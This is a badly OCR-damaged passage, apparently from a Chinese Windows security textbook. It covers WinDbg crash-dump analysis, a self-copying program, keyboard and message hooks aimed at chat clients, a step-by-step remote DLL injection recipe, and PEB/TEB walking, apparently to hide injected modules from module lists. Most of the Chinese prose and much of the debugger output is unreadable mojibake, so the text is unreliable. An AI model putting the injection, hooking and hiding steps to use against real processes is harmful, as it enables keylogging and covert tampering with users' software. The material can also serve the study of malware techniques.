Oout LPTSTR lpFilename, /1R HERREAX
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_In_ DWORD nSize / 1 ERR RN
)

AT A SR ERE, BINSEFEREANNULL, EHSSEAATT LLES
AL — MR A2, Wichar sss[256], HEiff# A GetModuleFileName (NULL, sss,
256) .

3 TRGEHFMB S ®Z )G, WHCopyFile UK H S ZHIERGH %

BOOL CopyFile (

LPCTSTR 1pExistingFileName, /A 5EEE
LPCTSTR lpNewFileName, / /3 B R 1E
BOOL bFailTfExists / / FHER BFR G BRIEIR I

2

31N H(bFaillfExists, Ai/R{E. #WENTRUE, RnREXMHCOETEHMWBERALE,
MR B3 g AFALSE, M % HARSCiE.

HHIHG,  #ENTH CopyFile (sss (8 B 5 B8 12), **x (R4 H xX#k1t), FLASE).

e fe s R R R e SO .

BAMRERNP RS R, WA ERLIFRME & RE “ EHAE” £7. W
B, HEFEANMME BETHRE. TEEMERO!

9.2.6 {ERAWINDbgi#t1TIRERIMpX &0+

FEWindows*F- 5 F, WinDbgs& —3Ks KA P SNSRI TR, E9-61/23241
WinDbgft] £ 5l .

'5:-[ WinDbg:6.12.0002.633 X86
File Edit View Debug Window Help
| & B B EVEE e B e N RS EEREE OS] A=

E9-61 321 (x86) WinDbgERHE
ZHTEM )G, HATFile—Symbol File Pathfiy %, 7ESymbol File Path%}iEHE+ 5 &
symbol Path )J)SRV*c: \symbol* http://msdl. microsoft.com/download/symbols, %1 9-62. &
9-63f7~, H HKIHRZ FEWinDbglr s (5 R BICH Bsybol 3L T
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g WinDbg:6.12.0002.633 X86

Fie Edit View Debug Window Help

Open Source File... E

Clase Clrrent Windaw Chrl+F4
Open Executable. .. Cirl+E
Attach to a Process... F6
Open Crash Dump... Ctrl+D
Connect to Remote Session... Cirl+R
Connect to Remote Stub...
Kernel Debug... Crl4+K
Symbol File Path ... Ctrl+5
Source File Path ... Chrl+P
Image File Path ... Cirl+L
Open Workspace... Ctrl+w
Save Workspace
Save Workspace As... =
ey
Delete Workspaces... Symbol path:
Dpen Worspace KiERE.. SRV*c:\symbol* htip //msdl microsoft.com/download/symbols =
Save Workspace to File...
I,
Map Network Drive...
Disconnect Network Drive. .. Help I
Recent Files 3 =l Browse
Exit Alt4F4 I~ | Helbad

B9-62 FRIEE (1)

B9-63 HSERIZE (2)

MFile LT (HLE9-64) Hr]LIFH], WinDbgr] LR rI AT/, #EFE. DMP
A, B R REEE I WinDbg7E F P A8 A E BEDMP A, #E 1f 43 Mt i B R BE IR R

I, S0 2R A0 B b A R

i 4 & B Cul+DELE $dTFile—Open Crash Dump#n 4, ¥ IN#E 5 dmp X fF (AT LA

HEHEAN) . B E-65FT R IHEHE.

|Ei|e Edit View Debug Window Help

Open Source File... Ctrl+0
Close Current Window CErlHFe
Open Executable... Cirl+E

Attach to a Process... F6

Open Crash Dump...
E9-64 File3Es
XHEIEPENo, ARE TAEZME, 8 S5 HARKE 25 i S b 5e.
BAVERINHE-66E R, H5E:
Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c¢) Microsoft Corporation. All rights reserved.

IXH AR T A8 I WinDbghR A 5 AL B -

Executable search path is: Windows 7 Kernel Version 7601

Pack 1) MP (4 procs) Free x64

Workspace "hase’ S |

Save information for workspace?

™ Dont ask again in this WinDba session

No | Cancel

E9-65 TIEZE

(service

Product: WinNt, suite: TerminalServer SingleUserTS

Built by: 7601.17944.amd64fre.win7spl gdr.120830-0333

Machine Name:
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E¥ Command — Dump C:\Documents and Settingshadmin\im4112312-21049-01.dap - ¥inDbg N

Microsoft (R) Windows Debuggsr Version 6.12 0002 633 I86
Copyright (c) Microsoft Corporation. 4ll rights reserved.

Loading Dump File [C:“Documnents and Settingssadmin<g m ~112312-21949-01 dup] _
Hini Kernel Dump File: Only registers and stack trace are availabls

Synbol search path is: SHEV#c:“synbols*http: “msdl wicrosoft com/download/synbols
Executable ssarch path is:

Windows 7 Kernel Version 7601 (Service Pack 1) MP (4 procs) Fres =fd

Product: Winlt, suite: TerminalServer SinglelszerTS

Built by: 7601 17944 amdfdfrs winZspl gdr 120830-0333

Hachine Nane:

Kernel base = O0zf£{f£800°0481b000 PsloadedMcdulsList = Oxff£££800°04aSf670
Debug session time: Fri Nov 23 13:44:08.182 2012 (UTC + 8:00)

Systen Uptinz: 0 daye 1:40:29 623

Loading Mern=l Symbols

Press ctrl-c (edb. kd, ntsd) or ctrl-bresk (windbg) to abort symbol loads that taks too long

Run lsym noisy before reload to track down problens loading symbols

ibéﬂiﬁg'ﬁéér'9§iﬁbié B —————
Toading unleaded nodule list

E9-66 DMPXHERIER()

CL EAREE h W B R EAG B, M AT BL1F B R S8 1 WA b 6447 I Windows 7%
g8, MCBLEEAZECH4 (4 procs) .

Kernel base iy P #%Hihik, PsLoadedModuleListy Windows INE% [ BT A PYAZ AR B4 B B
xiEk.

MDebug session time: Fri Nov 23 13: 44: 08.182 2012 (UTC + 8: 00) {5 BfF41&
95 1 3% & A 18] LA IS E] A System Uptime: 0 days 1: 40: 29.623, NIAREH R4 7F 5 5 i A
HIZATI .

&9-67 7%, MProbably caused by : igdpmd64.sys ( igdpmd64+15aal8 ) 7551, &
45 A 15 1) 8 (A b g 1gdpmd 64.sys——AMD 2 K K 5h S04 S 211

k3 3*
b Bugcheck Analysis *
3 *

9636 96 29696 36 36 9696 36 36 36 9696 36 2 JE 36 26 XM I I II I NI NN NI E N NN E NN NN H AN XA ER NN R ENNINHR
Use lanalvze —v to get detailed debugging information.

BugCheck 50, {fffff8812bctchel, 0, ff£££8800739fa18, 5}

Unable to load image “SystemRoot“system32“\DRIVERS“igdpmdfd4.sys. Win32 error On2
k%% JARNING: Unable to verify timestamnp for igdpmdtd . sys

#%% ERROR: Module load completed but symbols could not be loaded for igdpmdéd . sys

Could not read faulting driver name
Probably caused by : igdpmdfd.sys ( igdpmdfd+15aa18 )

Followup: MachineOwner

E9-67 DMPXH4EMEE (2)
lii]

Unable to load image \SystemRoot\system32\DRIVERS\igdpmdé64.sys, Win32
error On2*** WARNING: Unable to verify timestamp for igdpmdé4.sys
*** ERROR: Module load completed but symbols could not be loaded for

igdpmdé64.sys

R B I igdpmd6d sysHEEL 1555 % .
i N analyze-vEl # Hioh T EIZ AR fr 27 LLak A3 HAR 40, W&l 9-68 7K.
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L: kd> lanalyze v

3 *
e Bugcheck Arnalvais *
3 *

26 0 6 366 363 36626 30 30 3000 XA HMHE X R IR HE IO FH I E NI NN RN

PAGE_FAULT IN_NONPAGED AREL (50)

[nvalid system nemcry was referenced  This cannot be protected by try-escept,

it must be protected by a Probe, Typically the address is just plain bad or it

= pointing at freed memory.

Lrqunents:

hrgl: f1£££08120chcbal, nemnory referenced.

Lrg?: 0000000000000000, walus 0 = read opsration, 1 = write operation.

frgd: f1£££880073%al8, If non-zero, the instruction address which refersnced the bad memory
address

firgd . 0000000000000005, (ressrved)

El9-68 Bugcheck Analysis (1)
PAGE FAULT IN NONPAGED AREA (50)

Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Prabe. Typically the address is just plain bad or it

is pointing at freed memory.

XBAUS AWnDbe M i B IR . ERERENFELTIH, EFE IR try-except
fReP, L AEEIL Probe CREAFTINT-B) RAIRY, BB R RS AR, BE T
] — A BRI A

Arguments: / 1 BERRAED
Argl: fffff8812bc5cb60, memory referenced. / /RN TES|

Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
/ /S| R a)RR
Arg3:. fffff8800739fal8, If non-zero, the instruction address which

referenced the bad memory address. //3E0FREAS| iR ML
Arg4: 0000000000000005, (reserved) /I TBEE

B A Bug ™ A B4 15 4 B 9-69 T 7

Debugging Details:

Could not read faulting driver name

IREAD_ADDRESS: GetPointerFromdddress: unable to read from ffff£f80004ac9100
ffff£8812bc5chbel

FAULTING IP:

Lgdpmd64+15aal8

CEL££880°0739£218 8LO408 mov eax,dvord ptr [raz+rczx]
MH_INTERNAL CODE: &

CUSTOMER_CRASH_COUNT: 1

PEFAULT_BUCKET_ID: VISTA_DRIVEE_FAULT

BUGCHECK_STR: 0=50

PROCESS_NAME: csrss. exe

CURRENT_IRQL: 0O

E9-69 Bugcheck Analysis (2 )
TR T AU R AR R A

Could not read faulting driver name /] TTER R IR
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READ ADDRESS: GetPointerFromAddress: unable to read from fffff80004ac9100
FfEf£8812bc5che0 //AFEEHIR, W NArgl
FAULTING IP:
igdpmdé64+15aals
fEf££880°0739fal8 8b0408 eax, dword ptr [rax+rcx] //SHEBNES

/ /B3| AR RERERF

mowv

PROCESS NAME: cCsrss.exe

P 9- 7077 TSI 48 R A2 i 5 N 2 A7 28 A7 U A R4 B

[TRAFP_FRAME:
NOTE: The trap frams
Sone register values
rax=fff££88007dcebbl
rdx=fffffaB800950eb50
rip=fff££8800739fal8
r8=0000000000000000
r11=0000000000000000
r14=0000000000000000
iopl=0 nv up
igdpmded+0x152a18:

fE£££880051c49d0 — (. trap OxfffffBE0051c49d0)

doss not contain all registers.
may be zeroed or incorrect

rbx=0000000000000000
r=i1=0000000000000000
r=p=ffff£880051c4bel
r9=fffff880051c4b90
r12=0000000000000000
r15=0000000000000000
ei pl nz na po nc

fff££880°0739fa18 8b0408
[Fesetting default scope

[LAST CONTROL TRANSFER:

mnow

rcx=0000000123=82000
rdi=0000000000000000
rbp=fffffa8007452040
rl0=0000000000000001
r13=0000000000000000

eax.dvord ptr [rax+rcx] ds:8ff8:.fffff881 2bcSche0=72777777

from fE£fff800048408af to ffFFFfE0004899fc0

E9-70 HiFss
. f e N Liy = 3
K9-71. PEHO-T27F BN ESTACK _TEXT, BIA%f5 8, MILATTLAE S|4 i 35 ) iR 5

STACKE_TEXT: fEf££880°051c49d0 : nt!KeBugCheckE=
fEEFfFAB0 051cd86n fE£££0800°048408af 00000000 0000001 : nt! 7?7 ::FHODOBFHM: : string'+0=x437cl
ffff£f6B0°051cd4B870 £££££300° 0489802 fffffaB0° 0950ebs50 : nt!KiPageFault+0=zlte
fffff8B0°051c49d0 £ff£££f880°0739%fall fffffaB0°075b1000 : i1gdpmdf4+0xl15aal18
ffff£880°051c4bh0 ffff£faB0°075bL1000 fEf££880° 0914700 OxfffffaB0 075b1000
ffff£f880° 051cdbe8 fffffa80° 0950eb50 fEfffaB0 04£61298 D=zfffffaB0 0950ebt0
fffifEBD:USlc4b?U fffffaEU:U?EhIUUD ff£££880° 07331830 O=fffffa80°075b1000
fE£££8060°051c4b78 £££££280 0950ebS0 fffffaB0°0B£78££f8 : O=xfffffaB80° 0950ebs0
fff££880°051c4b80 £££££a80° 07501000 fEf£f£880°0739%fedc : Oxfffffa80°075b1000
fE£££880°051c4bas £££££880°091£4700 fffffaB0°08£78fe8 : Oxmff£f££880°091£4700
ﬁiiiﬁggg~ggiCiEgg ﬁgﬁgﬁggg‘gggﬁiggg fEfffal0 0950ehb0 : O=fffffaB0 04£f61298

. c . 2 fffff880° 00000000 1gdpmdf 4+0=152830
£££££0007051cdbad £1£££200 08£78£€0 fE£££a80° 00000001 : Oxfffffa80 DBE78££8
fEffffAB0° 051cdbal fE£££880°073%fedc .

. . k fffffaB0° 0950ebk0 igdpmdé4+0xlSaedc
fffffBB0° 051c4bb0 fffffaB80 08f78feh . .

. . fEEE£8B0° 051c4chs D=fffffaB0 0B8f78fe8
ffff£880°051c4bb8 fffffaB0 0950eb50 . .

. . fffffaB0 08£791a8 DzfffffaB80°0350=b50
ffff£f880° 051cdbel £££££880° 00000000 . .
FfFE£BBO° 051 . fffffaB0°08£79608 Dzfff££880° 00000000

cdbc8 ffff£a80° 00000001 fffffag0’ 00000000 Omfffff .

£EE££000° 051c4bd0 £££££280° 0950eb50 a x 28000000001
FffffEE0° 051c4bdl Fffff880° 05icdchi fffffaB0 075b1000 Dxfffffa80 0%50ebt0
fffFffRB0" 051cdbel fffffa80 08f791a8 fffffa80 00000000 Oxffff£880°051cdchs
fffffa80° 051c4bel fffffa230 028f79608 fffffa80 0950ebt50 Oxfffffab0 " 08£791a8
FffffOR0° 051cAbfl fffffaf0l 00000000 00000119 00000000 D=fffffaB0°0B£79608
FffffER0°051c4bfs fffffa80° 075b1000 gooooooo” ooooooon Dzfffffa80 00000000
FFFFFABN 051cdc0l ffff£f=80° 00000000 gooooooo0Too0goo00 DzfffffaB80° 07501000
fFfffERB0 051c4c0l fffffa80° 09502b50 gogoooooT 00000000 Oxffff£a80 00000000
ffff£880° 051410 000DD11S 000D0O0OOODO goooooonTooogooonn Oxfffffa80 0950=b50
fEE££880°051cd4cld 00000000 00000000 goooooooTooooooon 0x119 00000000

E9-71 Stck¥ik (1) E9-72 Stack¥iif (2)

BEJa B T 51RO R, WIS PR, BEEEE, W& 9-73/17R.

FOLLOWUP_NAHE: MHachineOwner
MODULE_NAME: igdpmdéd

THAGE HAME:
DEEUG_FLR_IMAGE TIMESTAMP:
FAILURE BUCKET _ID: Xed_0x50_igdpmd64+15aal8

FUCRET_ID:

igdpmd6d . sy=s
4d8d3eb?

H64_0=x50_igdpmdb4+15sal8

Followup: MachineOwner
E9-73 IEzZEE (1)
B E9-730 T E bR i igdpmd64 3 il Almvm  igdpmd64, AT LAAG E 5 A 4
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oRzhfE B (ILE9-74) .

1: kd> lmvm igdpmdéd]

start end module name

ff£££880° 07245000 f{f££880° 07df6bcl igdpmd64 T (no symbols)
Loaded symbol image file: igdpmdfd. sys
Inage path: “SystemRoot systemI2~DRIVERS“igdpmdtd svys
Inage nane: igdpndbd svs

Timestamp: Sat Mar 26 09:17:43 2011 (4D8D3EB7)
CheckSum: 00BBAG92
InageSize: O0BEB1ECO

E9-74 EaER (2)
EI9-74R FI T KB SO N Mk . BR AR SRIRISAT RN TR B A N EAE B
2, KM WInDbglE BEA Tl E W T o FREKFMRUSL, FERFHS5IER
Gugt, BRI . 7£EC: \Windows\Minidump {43 T /] LA EIAH NV DMP I, BY
HHBC: \Windows\Memory.dmp#f42 I3, B AE I WinDbg# AT 704, #kE)7HFAH
KIEFF. METIERGABRNIREAE, a2 N NWERHT T B0 E, Wil fRootkit (0
BB BRI, BREER) .

0.3 Wi i JLHH N TR

AT AR AL E I TFBRBOR, AR5 TDEI o rm SR R R DI B .

9.3.1 BE|WLEEREAK

AL 5 DR R A B D SR BOR AT, FRBOR MR HHOOK, st 2
7 (WindowsiH BALEINLHIM A 5D, BEAGH, BATIKS BEHEEIR. BT 0
AERHEBHET (BERARETIAHENZEHEE » FMHEHT (R ey
HRTARRERE RN ED -

1. BERETF

BHARERTH—THa2REBHEEHT, RSHEHFHEHEES WU T =EAPE:
(1) 23T
SetWindowsHookEx+& [ K 358 7 ph 8, HEEEIRBn T,

HHOOK WINAPI SetWindowsHookEX (

~In int idHook, /15 FHER

_Tn_ HOOKPROC 1pfn, / / EERH b

_Tn_ HINSTANCE hMod, / BT HER AR AR
Tn_ DWORD dwThreadTd /1 BRBFHLRID

02

FINZHidHook I TWEH TRABKNHEEREYE, EEMEAAWH_
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CALLWNDPROC (ffi H{SendMessage &K% iH Bl %44 F) - WH_CALLWNDPROCRET

(fff FlSendMessage /2167 B 5 Z 358 F) « WH GETMESSAGE (i HiPeekMessagesl &
SendMessage )& %354 1) « WH_KEYBOARD (#3iWM_KEYUPE{WM KEYDOWNI
ZEHF) . WM MOUSE CEGR BARH BB 238 1) .

2N Ep ) 2% v B (B PR B M hE, k2 T SRR 20 U L 1 B 1 [B] 1 PR B )
HuhE.

3 hModfr 5 #iiH B8 T i B HNULL.

B4 S ¥ dwThreadld, f87C W HLEW 7 RBMLREID. X AT LS AEH
CreateToolhelp32Snapshot bR £tk BB 15 H & ZLAZID I B, BB J5 1 F Process32First PA %
Process32Nextilé [H 23 BT e fEr (TLLAIFE P4, “xxexe” ) HIZEID. thATLA
T4 FindWindowEx#k BIFE I & 11 A)#R, 2R J5 1 GetWindowThreadProcessId iR [ {15
FILFEID. HERZIEF, #lWwQQ. YYEWIR TEBAGUIZEHIR, LEkEaIHE
AN, BRI 2R T IE R A — RO, 2 AT IR D06 T A R N B — R R
TS, EARSHHEEEHL TSEHERHT.

(2) WEHTRH

LRESULT CALLBACK HOOKxXX /1 BFRBEX

(
int nCode, /18 FBERREE
WPARAM wParam, /1 RS IHEHSH
LPARAM lParam /1 BEFIEZIEENSH

)
{

LT AR B AR EEACES, ekl B 7 Sl i CreateFile. WriteFilefr £ 7E 3
AMLESE, WA K NEE,

return CallNextHookEx(....)
/BT ARG, MBE— T EIRRE, S EENL TEHEEES
}

B 1FE A A F — T CallNextHookEx [F] i B 20T /E H

LRESULT WINAPI CallNextHookEX (

_Tn_opt_ HHOOK hhk, / 1 HRERBFRABREFEIMN AR
_In int nCode, / /[EHOOKxxx (FEMRTF J BAEBL T — MEFHIEHE
B, A TENSEHS B FEFRH—)
~In WPARAM wParam, / /[EJHOOK xxx
In LPARAM 1Param / /EJHOOKxxx
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(3) EEMT
WS R R AR AEE, Wa b ARENRERE, TRRGETEERER T
B IR AT RERE, (A BEAG ZEE A T

BOOL WINAPI UnhookWindowsHookEXx (
_In_ HHOOK hhk //HZRETFREEREEEMNIRE
e

2. /T

THH¥NHERETF, 5RTETFARNE, 2REFEADLLXn#E® L. 2
BT 20, Sk T M 4£DLL.

DLL (Dynamic Link Library) BIZIA8EEE, FABNEFWHERESH B CPANTS
], EREEEAMITAGRER, O IR R T N B0 N AR Py AE A ],
SR JFCFOIX AN FE R B4 S 00, I DLLICAE /2 AT LA 2h 74 b 2833 HoAb R 1 1 4248
], AT R 88 7 e BT BRI SR, TR Bk DL 3P IR B BN DLL U

#include <windows.h>

#include ... /1330

//ECIESH, DLLAA D RECH -

BOOL APIENTRY D11Main( HANDLE hModule, / /DLLAEBRA]HR
DWORD ul reason for call, / /T RECRRMERE
LPVOID lpReserved //TREBE

extern "C" declspec(dllexport) R¥XE R¥=E (5 ); //BHEE
/BN TR

}

b RS KBEEDIMan iR S HN & X, Z3—hModuleB/DLL B £ 5L 4] 7) R, F& )
DLL - WSy RE 0 72 25 [ Y i k-

Z ¥ "ul_reason_for_call /& BRECR A YR A, 7T AR E ) LLF4/MEZ —

» DLL PROCESS ATTACH//# it A2 A3k,

» DLL PROCESS DETACH//##t 42 #74%;

> DLL THREAD ATTACH //#t424] & #rut 420t

» DLL_THREAD DETACH /#4424 k0.

Z ¥ =IpReserved, —MAH -
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FomiE A NCH RN A .cpp) » WIFEEEEITANEER I, B

extern "C" declspec (dllexport) REER RHEER (SH) ;

FomiERFAANCES, WAT EextemF . _declspec (dllexport) AT H REhrRE .
INEDLLE 5 50 4 3h AR & B
fa B

#include<"D11EELE h>  //inESL s

FEERE (WinMain) W AIDLLICAF IR, & ZA0E = P ngadIfLIBE (&
&, WETEDLLA GBI K mEE) 3.

#pragma comment ( 1ib, "DLLI % .1ib") ;

SRIGELAT LLIE#ADLL R S RS T .
P U R O%F o R 7R o, E 2 AR, B WAFELER RS N F T8
K, NMTEHBRGIZTEE.

2R

HINSTANCE hInst = LoadLibrary("DLLX#%&.d11"); //BESHAT%E, ST G4E
typedef K& (*xxx) (); /I EXREFEE

X X X TEEZ = (X X X)GetProcAddress (hInst, "DLLEHEHE") ;

..... / FREICR IR
FreelLibrary (hInst) ; /1 BIATF

BAERHRAERESR, EHESKERNKNFITHED, Rt D xi2FEN
EIER) RN T T LT PR AL

HMODULE WINAPI LoadLibrary (
_In_ LPCTSTR lpFileName / / IREDLL - AR FF
);

ZER A A 1~ Z$pFileName, #DLLAFFIIEHDLLE cpp)f SXHER—HFE T,
WZHATLAEEA “DUAIKR.AL” ; HEAER—IHFT, WHEZSHEZEMEMDLLY
I BE 2

FARPROC GetProcAddress ( / /REDR EITE E S HAIDLL R A bt
HMODULE hModule, / / TNE# A FAIDLL AR
LPCWSTR lpProcName /I BHREHE

I
A Z R BT e (S B, B ART DU AR SCHR AT E
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e — AN ERETT

BOOL FreelLibrary ( //BERONERIDLL ( EMe/c++E=Fmalloc/news
free/deleteMIXTRNEE )
HMODULE hLibModule / / HRTINEBIDLL AR

9.3.2 DLLFEAN

DLLIEANFRZRELRREAN . REBHRDIREAN 11 A S Rt Hisfe s x
P BRI BREERE ), BRI R T Hpim R NE R TR i, BE
WA HARRE P T eI R KRBT R I RE

JeR TDLLIE ARG Z A BN R L, 5 Al R P BeRARE.

HANDLE WINAPI OpenProcess( //{BF B0
DWORD dwDesiredAccess, /IR E
BOOL bInheritHandle, / [ CIABEEK
DWORD dwProcessId //B#5PID ( #f21D)

I8

¥ dwDesiredAccessH fRiE % W B HPROCESS ALL ACCESS, B4 E84L
IR . 2% —blnheritHamdleN| % & A FALSE, Bl LHjfdksk . &3 —dwProcessIdl] A HEx
HREMPID. AR Z R AR B AN, X2 E AhPrcoess.

LPVOID VirtualAllocEx ( / /A BIRAERIE—BRAGFRE
HANDLE hProcess, // BAnE R aAE
LPVOID lpAddress, / / BIEAFHIE AL
DWORD dwSize, /1 RTFRIN, AT H A
DWORD flAllocationType, //RFRE
DWORD flProtect / I AFRR

A

Z¥—wProcess ) OpenProcess?3 2| [ U2 )R . S48 " IpAddress— 1% & ANULL,
e RGP HiE WAR IR aE b . 280 = dwsize M EC I R/NNON T A7 RS . &
#VUflAllocation Type—M¢iZE#E AMEM COMMIT, Ay g [ 0L [ DX 35 43 Ac Py A7 B RERT 1K T
I A AR A5 ) . 28 fiflProtecf YPAGE_READWRITE, EAT LLiE 5 % X 3 .

W

BOOL WriteProcessMemory ( /1 BEEBART
HANDLE hProcess, // B ¥R R A1
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LPVOID lpBaseAddress, // BAREAGFZE O E b
LPVOID lpBuffer, /I BEANBENEAX, BEEARFHE I
DWORD nSize, /I BARIFTH

LPDWORD 1pNumberOfBytesWritten /I EFREANFETH
) ;

Z41 " lpBaseAddressHll Jy Virtual AllocEx R £ g BN 75 El. A T F—2 A Hic
FELIEFEADLL, XNz DLLIA BRI, X2 B RS A B s
KN, K Virtual AllocEx Y 281 = dwSize L B A bR #0112 B U nSize W 7] LU AL A
DLLIC A ) BB A2 M F A7 B K . IpBuffer |1 & A DLLICH I B AR 12

HANDLE CreateRemoteThreadEx (

HANDLE hProcess, // BArE R A
LPSECURITY ATTRIBUTES lpThreadAttributes, / | T SRR RN E AT
STZE T dwStackSize, / /HERRIE AN
TLPTHREAD START ROUTINFE lpStartAddress, / IR R IR A
LPVOID lpParameter, / 11E5HRS

DWORD dwCreationFlags, /1 ERIBTIRE
LPPROC_THREAD ATTRIBUTE LIST lpAttributelList, / I FER TR INSH
LPDWORD lpThreadId / /ABEIEEID

);

Z ¥ " 1pThreadAttributes. S % LlpAttributeList LA %S4 )\ IpThreadldifi % % & 4
NULL, 73R~ EZEMARF. Lmsi. LELEIDR[El. S5 —dwStackSize® X &
40, WK LABR AR /NZ TR . S 8UlpStartAddress & F X G H & $AE B RPN E
H ik, LoadLibraryef B FKemel32.dlIlH, JL B 323 3h14 4 i #kernel 32. dIE
B, FF HAEATAr AR iz R Hh b AH [R], 7T BL# H GetModuleHandle 8 £ M\ K ernel32 d11H-
SRTIDLLAJIA, SR GetProcAddress, 13k 2% HFARPROC I LoadLibrary i £
W HhE, PEJEE# H XA HLPTHREAD START ROUTINEER[T] . i FH T4ES 1354 N
J& Hi Virtual AllocEx R EUR [FI73 2], B TN ECH{E B. S3dwCreationFlags i &
N0, RRLFEMEBE)E LAET.

HMODULE GetModuleHandle ( / /B EIDLL HHAER G4
LPCTSTR lpModuleName / /DLLiEHR %
);
DWORD WaitForSingleObject( //BFEHEBRTM
HANDLE hHandle, / /BRI R
DWORD dwMilliseconds /I EFE R E]E) R
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2

Z¥—hHamdle# & N HHCreateRemoteThreadExiR Rl [ 2 W, TS —
dwMiUiseconclsll| % & HINFINITE, A4 TMREZf.

BOOL VirtualFreeEx ( //BRERVirtualAllocEx EEHIRTF
HANDLE hProcess, //{ffFOpenProcessik[EfBir#Eal4A
LPVOID lpAddress, //#§[@EVirtualAllocEx4 EcHAfFHdt
DWORD dwSize, //BERAREAN, XBAINREN0, ET— NS HK
DWORD dwFreeType //BMHBR{EHEE, BB HVMEM RELEASE, $56)H
VirtualAllocExZBCRIX1E
);

DLLEAN RS LT LA PR

(D) il HAFRFHPID GHEFEID) , {#FOpenProcessef £(753 2 FE AN -

(2) M VirtualAllocEx X 32 AJAR, 78 B inEEiE FEIE —BRWNAFZ .

(3) i FWriteProcessMemory ¥ DLL X/ HI 4215 B EANFF.

(4) {# Ml GetModuleHandle L & GetProcAddress?d #|LoadLibrary e £ it (O T 4
FLoadLibrary IN# &M DLLI A/, 75245 F|LoadLibrary B A 7EHERE (1 HBAE)

(5) ff i CreateRemoteThreadEx /i )i FREFE, INEFEEDLL A

(6) 1# Fi WaitForSingleObject25 {4 2k FRiz 4T 58 HEiR Y .

(7) f# FVirtualFreeExE i H1E I N £F -

(8) i FCloseHandle % A7) #i

EFREARMNENENS T EERTA, JF LU R SR TR 2% FE T I AF
fE. %R, HmTebibast B 5 1K 7 b n] U BB A BiailE, BATHERS
[ WriteProcessMemory i NAF ALY 5 AW TF. BRI (4) 7320400 Py 4 F (¥ APTER
AT REDLL U E XIS RN F M ALE, A LD BN A BRSNS A
TEFEBGANUGH AR I, R R G A, Pl Hsizeof (514
PLREUHBHERF & (S5H01R) BRAT 193,

[F) it AT BAad G “ Bad” DLLAESY, 31 B3 D LL I 4 44 Bk LA A i 40 Sfe Sl A il T
R4 . XMl EZMEDLLESRENF T HAIMEB A E, REA G H# TS0k
FeiE. I 9DLLYEH TN B2 W AEaEm, Ft LAZEPEBH st £ fRAF I DLLAR S 145
B PP “Bask” , Wt X PEBHDLLERE BRTE K.

BHERE—T32M0 R4 FITEBL . ZEWinDbegH T AL E T HATEF, PEJS7E
0: 000 >J5Hi AN lteb, EngsRuE-75F7R.

ME9-75 T LL1F H TEB XPEBR itk (TEB: 7ffdfo00h; PEB: 7ffdb000h) . B#J5
At teb 7ffdf000K EFETEBLHIE R, WE9-76F7 7%,
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0:000: lteb

TEE at 7ffdfo00
Exceptionlist: gpz2fidoc
StackBase: ooZ230000
StackLimit: o0z22e000
SubSy=tenTib: gooooooo
FiberData: 00001e00
ArbitrarvUserPointer: 00000000
Self: 7ifdfoon
EnvironmentPointer: pooooooo
ClientId: ooooostEn
RpcHandle: gooooooo
Tl= Storage: gooooooo
PEE Address: 7ffdb000
LaztErrorValue: 0
LaztStatusValue: 0
Count Owned Locks: 1]
HardErrorMode: I

E9-75 TEBETRER
0:000> dt _teb 7f£d4f000

| HOE  FETME ="

0o000c4s

ntdll! TEE
+0=000 HtTib _NT_TIE
+0=01c EnvironmentPointer : (null)
+0x020 ClientId e i 6 Y S A )
+0x2028 ActiveRpcHandle (null)
+0202c ThreadlocalStoragePointer : (null)
+0=030 ProcessEnvironmentBlock : 0=x7ffdb000 _FPEB
+0=034 LastErrorValue 0
+0=038 CountOfOwnedCriticalSections : 0O
+0=203c CsrClientThread fnull)
+0=040 Win32ThreadInfo fnull)
+02044 TU=eriZReserved [26] O
+0=z0ac U=erReserved [E] O
+0=z0c0 WOW3ZReserved (null)
+0=x0c4 Currentlocale N=804
+0x0c8 FpSoftwareStatusRegister : 0
+0xz0cc SystenReservedl [E4] (null)
+0xlad ExceptionCode On0
+0x2laf ActivationContextStack : _ACTIVATIOHN CONTEXT STACK
+0xzl1lbc SpareBvtesl [24] "*"
+0x1d4 GdiTebBatch . _GDI_TEB_BATCH
+0x6b4 RealClientId

A e 1 T

. _CLIENT_ID

11

E9-76 TEBZ#H

XA LLE HPEBS AL T TEBAZ0x30 /bt b . T TEBS I RIE B NAF R TFSH

frar, IRAfEn LB gRTE 4 mov eax, fs: [0x30]5K43 FIPEBH ML .
FHREFPEBLH, #iAdt peb 7ffdb000/3 BIPEBLHIE A, WE9-77H 7= .

0:000> dt _peb 0x7ffdb000

-3

O0=00020000 _RTL_USER_PROCESS_PARAMETERS

0x7c99d600 _RTL CRITICAL SECTION

ntdll!_FPEB
+0=x000 InheritediddressSpace g '
+0=x001 ReadImageFileExecOptions : 0 "'
+0=x002 BeingDebugged O=x1 "'
+0=003 SparsBool 0%
+0x004 Hutant c Omffffffff Void
+0=x008 ImageBassiddress : 0=z00400000 Yoid
+0=x00c Ldr . 0=x00351eal _PEE LDE DATA
+0=x010 Proce=zsParamnster=s :
+0=x014 SubSy=temData (null)
+0=018 ProcessHeap 0=00250000 Void
+0=x01c FastPeblock :
+0=020 FastPeblLockRoutine : 0=x7c921000 Void
+0x024 FastPeblUnlockRoutine @ 0x7c9210=0 Void

E9-77 PEBZ#

HPEANEZENSE, MHYPEBWAEHIE A 0x0c I Ldr4ity, Eflstruct PEB LDR

DATA *Ldr, JLHLdrA$8MPEB LDR DATAZ: #1455l .
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typedef struct PEB
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR SpareBool;
PVOID Mutant;
PVOID ImageBaseAddress;
PPEB LDR DATA Ldr;

} PEB, *PPEB;

PAEFHF A WinDbe &F 454, H#iAdt PEB LDR DATA 0x00351lea0#&x%& PEB LDR

DATAZ#) (JLE9-78) .

0°000> dt _PEB_LDR_DATA 0x00351eal
ntdll! PEE LDR DiTA

+0=000 Length  0=28
+0=004 Initialized 0=l
+0=008 S=sHandle ©ofnull)

+0=00c InLoadOrderModuleli=st : _LIST ENTEY [ O0=351es0 - 0=3520d0 ]
+0=014 InMemorvOrderModuleli=t : _LIST ENTEY [ 0x35leef - 0z3520d48 ]

+0=0lc InInitializationOrderModulelist

+0=024 EntryvInProgres=s : (null)

_LIST ENTRY [ 0=351f58 — 0=3520e0 ]

E9-78 PEB_LDR_DATAZ#4

25 [%/MSDN.

typedef struct PEB LDR DATA ({

ULONG Length; //+0x00
BOOLEAN Initialized; //+0x04
PVOID SsHandle; //+0x08
LIST ENTRY InLoadOrderModuleList;

